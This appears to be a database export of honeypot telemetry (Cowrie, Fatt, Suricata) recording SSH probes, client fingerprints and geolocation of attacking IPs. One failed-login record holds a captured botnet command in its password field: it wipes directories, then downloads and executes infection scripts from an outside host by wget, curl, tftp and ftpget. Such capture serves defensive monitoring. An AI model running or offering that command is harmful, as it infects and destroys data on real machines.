34956	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:05:36.923492+03	2021-09-20 15:15:02.60069+03	{"_id": "LQYYA3wBvYTbRNuE7FmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "403b0283ceab", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:05:36.923492Z", "@timestamp": "2021-09-20T12:05:36.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
34957	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:36.924515+03	2021-09-20 15:15:02.60169+03	{"_id": "OAYYA3wBvYTbRNuE71kQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35080, "timestamp": "2021-09-20T12:05:36.924515", "@timestamp": "2021-09-20T12:05:36.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34958	91.200.124.7	109.199.241.180	Fatt	2021-09-20 15:05:23.590693+03	2021-09-20 15:15:02.60369+03	{"_id": "CQYYA3wBvYTbRNuEuFlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58560, "dest_port": 22, "timestamp": "2021-09-20T12:05:23.590693", "@timestamp": "2021-09-20T12:05:23.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	UA
34959	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:05:23.553385+03	2021-09-20 15:15:02.60469+03	{"_id": "DAYYA3wBvYTbRNuEuVnB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "cdd7479d7137", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:05:23.553385Z", "@timestamp": "2021-09-20T12:05:23.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	UA
34960	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:23.553986+03	2021-09-20 15:15:02.60669+03	{"_id": "BgYYA3wBvYTbRNuEuFlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58560, "timestamp": "2021-09-20T12:05:23.553986", "@timestamp": "2021-09-20T12:05:23.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34961	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:05:23.550359+03	2021-09-20 15:15:02.60769+03	{"_id": "DQYYA3wBvYTbRNuEuVnB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:58560 (192.168.176.2:22) [session: cdd7479d7137]", "session": "cdd7479d7137", "@version": "1", "protocol": "ssh", "src_port": 58560, "dest_port": 22, "timestamp": "2021-09-20T12:05:23.550359Z", "@timestamp": "2021-09-20T12:05:23.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	UA
34962	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:05:23.591027+03	2021-09-20 15:15:02.609691+03	{"_id": "DgYYA3wBvYTbRNuEuVnC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "cdd7479d7137", "@version": "1", "timestamp": "2021-09-20T12:05:23.591027Z", "@timestamp": "2021-09-20T12:05:23.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	UA
34965	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:05:24.897605+03	2021-09-20 15:15:02.613691+03	{"_id": "EQYYA3wBvYTbRNuEvVmq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "cdd7479d7137", "@version": "1", "duration": 1.3445258140563965, "timestamp": "2021-09-20T12:05:24.897605Z", "@timestamp": "2021-09-20T12:05:24.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	UA
34966	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:05:25.784741+03	2021-09-20 15:15:02.615692+03	{"_id": "EgYYA3wBvYTbRNuEwVmT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "58dda5b9e76c", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "username": "sh", "timestamp": "2021-09-20T12:05:25.784741Z", "@timestamp": "2021-09-20T12:05:25.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	AL
34967	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:05:45.333382+03	2021-09-20 15:15:02.616721+03	{"_id": "TQYZA3wBvYTbRNuEC1nU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "899710ec76ef", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:05:45.333382Z", "@timestamp": "2021-09-20T12:05:45.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
34968	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:05:45.394013+03	2021-09-20 15:15:02.618719+03	{"_id": "TwYZA3wBvYTbRNuEC1nV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "899710ec76ef", "@version": "1", "timestamp": "2021-09-20T12:05:45.394013Z", "@timestamp": "2021-09-20T12:05:45.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
34969	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:05:45.571367+03	2021-09-20 15:15:02.619723+03	{"_id": "UQYZA3wBvYTbRNuEDFn5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 366568900512945, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55232, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.571367Z", "@timestamp": "2021-09-20T12:05:45.571Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
34970	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:05:43.000607+03	2021-09-20 15:15:02.620719+03	{"_id": "UAYZA3wBvYTbRNuEDFn5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 500335652806927, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 62781, "timestamp": "2021-09-20T12:05:43.000607Z", "@timestamp": "2021-09-20T12:05:43.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34971	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:05:45.393443+03	2021-09-20 15:15:02.62172+03	{"_id": "YQYZA3wBvYTbRNuEDllV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 46018, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.393443", "@timestamp": "2021-09-20T12:05:45.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
34972	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:05:45.509923+03	2021-09-20 15:15:02.623723+03	{"_id": "YgYZA3wBvYTbRNuED1m9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "86f502cb0aaa", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:05:45.509923Z", "@timestamp": "2021-09-20T12:05:45.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
34973	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:05:45.330358+03	2021-09-20 15:15:02.624722+03	{"_id": "TgYZA3wBvYTbRNuEC1nU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:46018 (192.168.176.2:22) [session: 899710ec76ef]", "session": "899710ec76ef", "@version": "1", "protocol": "ssh", "src_port": 46018, "dest_port": 22, "timestamp": "2021-09-20T12:05:45.330358Z", "@timestamp": "2021-09-20T12:05:45.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 